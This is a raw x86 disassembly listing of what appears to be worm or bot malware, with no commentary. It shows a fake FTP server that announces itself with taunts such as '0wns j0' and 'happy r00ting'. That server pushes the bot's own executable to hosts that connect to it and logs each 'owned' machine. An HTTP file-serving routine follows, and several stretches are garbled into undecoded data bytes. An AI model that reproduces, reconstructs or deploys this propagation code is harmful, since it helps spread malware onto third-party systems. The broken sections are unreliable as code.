push edi
call ds:dword_428200 ; listen
mov [ebp+var_23C], ebx
mov ebx, ds:dword_428224
mov [ebp+var_238], edi
mov [ebp+var_4], edi
loc_40EE44: ; CODE XREF: sub_40ED60+11Bj
; sub_40ED60+5F1j
push 41h
lea esi, [ebp+var_23C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor edi, edi
lea eax, [ebp+var_43C]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_428228 ; select
cmp eax, 0FFFFFFFFh
jz loc_40F356
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40EE44
loc_40EE7D: ; CODE XREF: sub_40ED60+5EBj
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41B780
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41B780
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426A18 ; __WSAFDIsSet
test eax, eax
jz loc_40F344
cmp edi, [ebp+var_8]
jnz short loc_40EF26
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call ds:dword_428204 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F344
mov edx, [ebp+var_23C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40EEF8
loc_40EEEA: ; CODE XREF: sub_40ED60+196j
cmp [ebp+ecx*4+var_238], eax
jz short loc_40EEF8
inc ecx
cmp ecx, edx
jb short loc_40EEEA
loc_40EEF8: ; CODE XREF: sub_40ED60+188j
; sub_40ED60+191j
cmp ecx, edx
jnz short loc_40EF0E
cmp edx, 40h
jnb short loc_40EF0E
mov [ebp+ecx*4+var_238], eax
inc [ebp+var_23C]
loc_40EF0E: ; CODE XREF: sub_40ED60+19Aj
; sub_40ED60+19Fj
cmp eax, [ebp+var_4]
jle short loc_40EF16
mov [ebp+var_4], eax
loc_40EF16: ; CODE XREF: sub_40ED60+1B1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F344
; ---------------------------------------------------------------------------
loc_40EF26: ; CODE XREF: sub_40ED60+158j
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call ds:dword_428218 ; recv
test eax, eax
jg short loc_40EF83
mov ecx, [ebp+var_23C]
xor eax, eax
cmp ecx, esi
jbe short loc_40EF77
loc_40EF47: ; CODE XREF: sub_40ED60+1F3j
cmp [ebp+eax*4+var_238], edi
jz short loc_40EF6C
inc eax
cmp eax, ecx
jb short loc_40EF47
jmp short loc_40EF77
; ---------------------------------------------------------------------------
loc_40EF57: ; CODE XREF: sub_40ED60+20Fj
mov ecx, [ebp+eax*4+var_234]
mov [ebp+eax*4+var_238], ecx
mov ecx, [ebp+var_23C]
inc eax
loc_40EF6C: ; CODE XREF: sub_40ED60+1EEj
dec ecx
cmp eax, ecx
jb short loc_40EF57
dec [ebp+var_23C]
loc_40EF77: ; CODE XREF: sub_40ED60+1E5j
; sub_40ED60+1F5j
push edi
call ds:dword_42821C ; closesocket
jmp loc_40F344
; ---------------------------------------------------------------------------
loc_40EF83: ; CODE XREF: sub_40ED60+1D9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_0 ; "%s %s"
push eax
call sub_41C835
lea eax, [ebp+var_B0]
push offset aUser_0 ; "USER"
push eax
call sub_41C260
add esp, 18h
test eax, eax
jnz short loc_40EFC7
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40EFC7: ; CODE XREF: sub_40ED60+258j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40EFEB
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40EFEB: ; CODE XREF: sub_40ED60+27Cj
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F00F
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40F00F: ; CODE XREF: sub_40ED60+2A0j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F033
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40F033: ; CODE XREF: sub_40ED60+2C4j
lea eax, [ebp+var_B0]
push offset off_43640C
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F057
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40F057: ; CODE XREF: sub_40ED60+2E8j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F092
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F092
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40F092: ; CODE XREF: sub_40ED60+30Cj
; sub_40ED60+323j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0CD
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0CD
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40F0CD: ; CODE XREF: sub_40ED60+347j
; sub_40ED60+35Ej
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F11B
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F10B: ; CODE XREF: sub_40ED60+3FAj
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_40F332
; ---------------------------------------------------------------------------
loc_40F11B: ; CODE XREF: sub_40ED60+382j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F15C
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F10B
; ---------------------------------------------------------------------------
loc_40F15C: ; CODE XREF: sub_40ED60+3D0j
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40F22D
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41C835
lea eax, [ebp+var_FC]
push eax
call sub_41B969
mov [ebp+var_C], eax
lea eax, [ebp+var_2D4]
push eax
call sub_41B969
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41B780
push [ebp+arg_0]
lea eax, [ebp+var_FC]
push [ebp+var_C]
push offset aXX ; "%x%x\n"
push eax
call sub_41BA76
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_41BFB5
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41BA76
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F32F
; ---------------------------------------------------------------------------
loc_40F22D: ; CODE XREF: sub_40ED60+411j
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40F310
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F360
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F306
cmp [ebp+var_444], esi
jnz short loc_40F295
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409966
add esp, 14h
loc_40F295: ; CODE XREF: sub_40ED60+510j
call sub_40F3DD
cmp eax, 1
jnz loc_40F332
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpIJustOwnedS ; "[FTP]: I just owned: %s"
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F2F1
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409966
add esp, 14h
loc_40F2F1: ; CODE XREF: sub_40ED60+56Cj
lea eax, [ebp+var_8E0]
push eax
call sub_4152AE
inc ds:dword_4D06F4
pop ecx
jmp short loc_40F332
; ---------------------------------------------------------------------------
loc_40F306: ; CODE XREF: sub_40ED60+504j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F32F
; ---------------------------------------------------------------------------
loc_40F310: ; CODE XREF: sub_40ED60+4E2j
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40F332
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F32F: ; CODE XREF: sub_40ED60+262j
; sub_40ED60+286j ...
push edi
call ebx ; send
loc_40F332: ; CODE XREF: sub_40ED60+3B6j
; sub_40ED60+53Dj ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41B780
add esp, 0Ch
loc_40F344: ; CODE XREF: sub_40ED60+14Fj
; sub_40ED60+178j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40EE7D
jmp loc_40EE44
; ---------------------------------------------------------------------------
loc_40F356: ; CODE XREF: sub_40ED60+10Fj
xor eax, eax
inc eax
loc_40F359: ; CODE XREF: sub_40ED60+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40ED60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F360 proc near ; CODE XREF: sub_40ED60+4FAp
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4281F4 ; WSAStartup
push 0
push 1
push 2
call ds:dword_428220 ; socket
push [ebp+arg_0]
mov ds:dword_4D0928, eax
mov [ebp+var_10], 2
call ds:dword_428234 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_42820C ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_4D0928
call ds:dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F3D8
push ds:dword_4D0928
call ds:dword_42821C ; closesocket
call ds:dword_4281F0 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F3D8: ; CODE XREF: sub_40F360+60j
xor eax, eax
inc eax
leave
retn
sub_40F360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3DD proc near ; CODE XREF: sub_40ED60:loc_40F295p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 0B10000h
dec eax
lea eax, [ebp+var_104]
push offset dword_42A06C
push eax
call sub_41B6B2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F474
test byte ptr [esi+0Ch], 10h
jnz short loc_40F458
push edi
mov edi, 400h
loc_40F420: ; CODE XREF: sub_40F3DD+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41B30A
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push ds:dword_4D0928
call ds:dword_428224 ; send
push 1
call ds:dword_428064 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40F420
pop edi
loc_40F458: ; CODE XREF: sub_40F3DD+3Bj
push esi
call sub_41B24B
pop ecx
push ds:dword_4D0928
call ds:dword_42821C ; closesocket
call ds:dword_4281F0 ; WSACleanup
xor eax, eax
inc eax
loc_40F474: ; CODE XREF: sub_40F3DD+35j
pop esi
leave
retn
sub_40F3DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F477 proc near ; DATA XREF: seg000:00403CEAo
; seg000:0040BD95o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BD10
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_41B780
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call ds:dword_4CDBF8 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_4CDC78 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_40F83D
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_440B44[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_4CDC24 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40F83D
push 7FFFFFFFh
push edi
call ds:dword_4CDC20 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40F83D
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_4CDC94 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40F83D
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_40F54E: ; CODE XREF: sub_40F477+3BCj
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_4CDBE0 ; select
cmp eax, 0FFFFFFFFh
jz loc_40F838
xor edi, edi
mov [ebp+arg_0], edi
loc_40F584: ; CODE XREF: sub_40F477+3B6j
lea eax, [ebp+var_6F0]
push eax
push edi
call ds:dword_4CDAE4 ; __WSAFDIsSet
test eax, eax
jz loc_40F823
cmp edi, [ebp+var_8]
jnz short loc_40F605
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call ds:dword_4CDC8C ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F823
xor ecx, ecx
test ebx, ebx
jbe short loc_40F5D7
loc_40F5C9: ; CODE XREF: sub_40F477+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_40F5D7
inc ecx
cmp ecx, ebx
jb short loc_40F5C9
loc_40F5D7: ; CODE XREF: sub_40F477+150j
; sub_40F477+159j
cmp ecx, ebx
jnz short loc_40F5F4
cmp ebx, 40h
jnb short loc_40F5F4
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_40F5F4: ; CODE XREF: sub_40F477+162j
; sub_40F477+167j
cmp eax, [ebp+var_4]
jbe loc_40F823
mov [ebp+var_4], eax
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F605: ; CODE XREF: sub_40F477+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_41B780
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B780
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call ds:dword_4CDC10 ; recv
test eax, eax
jg short loc_40F68C
push edi
call ds:dword_4CDC90 ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_40F823
loc_40F651: ; CODE XREF: sub_40F477+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_40F679
inc eax
cmp eax, ebx
jb short loc_40F651
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F664: ; CODE XREF: sub_40F477+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40F679: ; CODE XREF: sub_40F477+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40F664
dec ebx
mov [ebp+var_128], ebx
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F68C: ; CODE XREF: sub_40F477+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B780
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_41B1D0
add esp, 10h
test eax, eax
jbe loc_40F823
loc_40F6B9: ; CODE XREF: sub_40F477+2F9j
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F75F
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_40F72F
lea eax, [ebp+var_18F0]
push eax
call sub_41B1D0
cmp eax, 5
pop ecx
jbe short loc_40F72F
mov eax, offset asc_42E0C8 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41BAF0
pop ecx
pop ecx
push eax
call sub_41BAF0
pop ecx
pop ecx
push eax
call sub_41C2E4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C0A0
add esp, 10h
jmp short loc_40F746
; ---------------------------------------------------------------------------
loc_40F72F: ; CODE XREF: sub_40F477+26Ej
; sub_40F477+280j
lea eax, [ebp+var_18F0]
push offset asc_4364CC ; "\r\n"
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_40F77B
loc_40F746: ; CODE XREF: sub_40F477+2B6j
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B780
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F75F: ; CODE XREF: sub_40F477+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_41B1D0
cmp edi, eax
pop ecx
jb loc_40F6B9
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F77B: ; CODE XREF: sub_40F477+2CDj
xor eax, eax
test ebx, ebx
jbe short loc_40F7B7
loc_40F781: ; CODE XREF: sub_40F477+319j
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_40F7A9
inc eax
cmp eax, ebx
jb short loc_40F781
jmp short loc_40F7B7
; ---------------------------------------------------------------------------
loc_40F794: ; CODE XREF: sub_40F477+337j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40F7A9: ; CODE XREF: sub_40F477+314j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40F794
dec ebx
mov [ebp+var_128], ebx
loc_40F7B7: ; CODE XREF: sub_40F477+308j
; sub_40F477+31Bj
lea eax, [ebp+var_360]
push eax
call sub_41B1D0
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B1D0
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_40F81A
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call ds:dword_4CDC94 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_40FA29
add esp, 14h
jmp short loc_40F823
; ---------------------------------------------------------------------------
loc_40F81A: ; CODE XREF: sub_40F477+364j
push [ebp+arg_0]
call ds:dword_4CDC90 ; closesocket
loc_40F823: ; CODE XREF: sub_40F477+11Dj
; sub_40F477+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_40F584
jmp loc_40F54E
; ---------------------------------------------------------------------------
loc_40F838: ; CODE XREF: sub_40F477+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_40F83D: ; CODE XREF: sub_40F477+6Aj
; sub_40F477+92j ...
call ds:dword_4CDB8C ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4364A4
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F883
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409966
add esp, 14h
loc_40F883: ; CODE XREF: sub_40F477+3E7j
lea eax, [ebp+var_8F0]
push eax
call sub_4152AE
pop ecx
push edi
call ds:dword_4CDC90 ; closesocket
push [ebp+var_254]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
sbb [edi+5Eh], bl
pop ebx
sub_40F477 endp ; sp-analysis failed
loc_40F8AD: ; DATA XREF: sub_40FA29+245o
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BD10
mov eax, [ebp+8]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp-44Ch]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp-3C8h]
push eax
lea eax, [ebp-550h]
push eax
call sub_41BA76
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-654h]
push eax
call sub_41BA76
xor edi, edi
add esp, 10h
cmp [ebp-0A4h], edi
lea eax, [ebp-9Ch]
jz short loc_40F918
push offset aTextHtml ; "text/html"
jmp short loc_40F91D
; ---------------------------------------------------------------------------
loc_40F918: ; CODE XREF: seg000:0040F90Fj
push offset aApplicationOct ; "application/octet-stream"
loc_40F91D: ; CODE XREF: seg000:0040F916j
push eax
call sub_41BA76
pop ecx
lea eax, [ebp-68h]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 0B10000h
or dword ptr [ebp+1E6AE045h], 50h
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 0B10000h
test byte ptr [ebp-427C1FBBh], 48h
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 98458D50h, 0E0458D50h, 98458D50h, 0E0458D50h
dd 98458D50h, 64858D50h, 75FFFFFFh, 858D5017h, 0FFFFE9ACh
dd 4365C868h, 0EBE85000h, 830000C0h, 1BEB24C4h, 0FF48B5FFh
dd 8D50FFFFh, 0FFE9AC85h, 64D868FFh, 0E8500043h, 0C0CEh
dd 8D28C483h, 0FFE9AC85h, 0E85057FFh, 0B818h, 858D5059h
dd 0FFFFE9ACh, 0B4B5FF50h, 0FFFFFFFBh, 4CDC4815h, 5CBD3900h
dd 75FFFFFFh, 0B0858D16h, 50FFFFFAh, 0FBB4B5FFh, 72E8FFFFh
dd 59000009h, 8D1DEB59h, 0FFF9AC85h, 0FF5750FFh, 0FFFBB4B5h
dd 0B0858DFFh, 50FFFFFAh, 2D3E8h, 10C48300h, 0FBB4B5FFh
dd 15FFFFFFh, 4CDC90h, 0FF4CB5FFh, 68E8FFFFh, 59FFFFB8h
dd 5DAE857h, 5FB30070h
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA29 proc near ; CODE XREF: sub_40F477+399p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B780
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_40FA5F
push offset aS_5 ; "\\%s"
jmp short loc_40FA67
; ---------------------------------------------------------------------------
loc_40FA5F: ; CODE XREF: sub_40FA29+2Dj
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_40FA67: ; CODE XREF: sub_40FA29+34j
lea eax, [ebp+var_10C]
push eax
call sub_41BA76
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B1D0
test eax, eax
pop ecx
jbe short loc_40FB02
mov [ebp+arg_8], 2
loc_40FA92: ; CODE XREF: sub_40FA29+D7j
lea eax, [ebp+var_10C]
push eax
call sub_41B1D0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40FAD2
cmp [ebp+esi+var_10C], 25h
jnz short loc_40FAD2
cmp [ebp+esi+var_10B], 32h
jnz short loc_40FAD2
cmp [ebp+esi+var_10A], 30h
jnz short loc_40FAD2
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40FAEC
; ---------------------------------------------------------------------------
loc_40FAD2: ; CODE XREF: sub_40FA29+79j
; sub_40FA29+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40FAE2
push 5Ch
pop eax
jmp short loc_40FAE5
; ---------------------------------------------------------------------------
loc_40FAE2: ; CODE XREF: sub_40FA29+B2j
movsx eax, al
loc_40FAE5: ; CODE XREF: sub_40FA29+B7j
mov [ebp+ebx+var_210], al
loc_40FAEC: ; CODE XREF: sub_40FA29+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B1D0
cmp esi, eax
pop ecx
jb short loc_40FA92
loc_40FB02: ; CODE XREF: sub_40FA29+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_42AAEC
push eax
call sub_41BA76
lea eax, [ebp+var_314]
push offset asc_42B0FC ; "\n"
push eax
call sub_41C2E4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call ds:dword_428098 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_40FB50
cmp eax, 0FFFFFFFFh
jnz short loc_40FB53
push [ebp+arg_0]
jmp short loc_40FBCF
; ---------------------------------------------------------------------------
loc_40FB50: ; CODE XREF: sub_40FA29+11Bj
mov [ebp+var_4], esi
loc_40FB53: ; CODE XREF: sub_40FA29+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40FB60
mov [ebp+var_4], esi
loc_40FB60: ; CODE XREF: sub_40FA29+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40FBDA
cmp [ebp+arg_C], edi
jz short loc_40FBCE
lea eax, [ebp+var_314]
push offset asc_436758 ; "*"
push eax
call sub_41C0B0
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41BA76
lea eax, [ebp+var_210]
push eax
call sub_410416
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41BA76
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
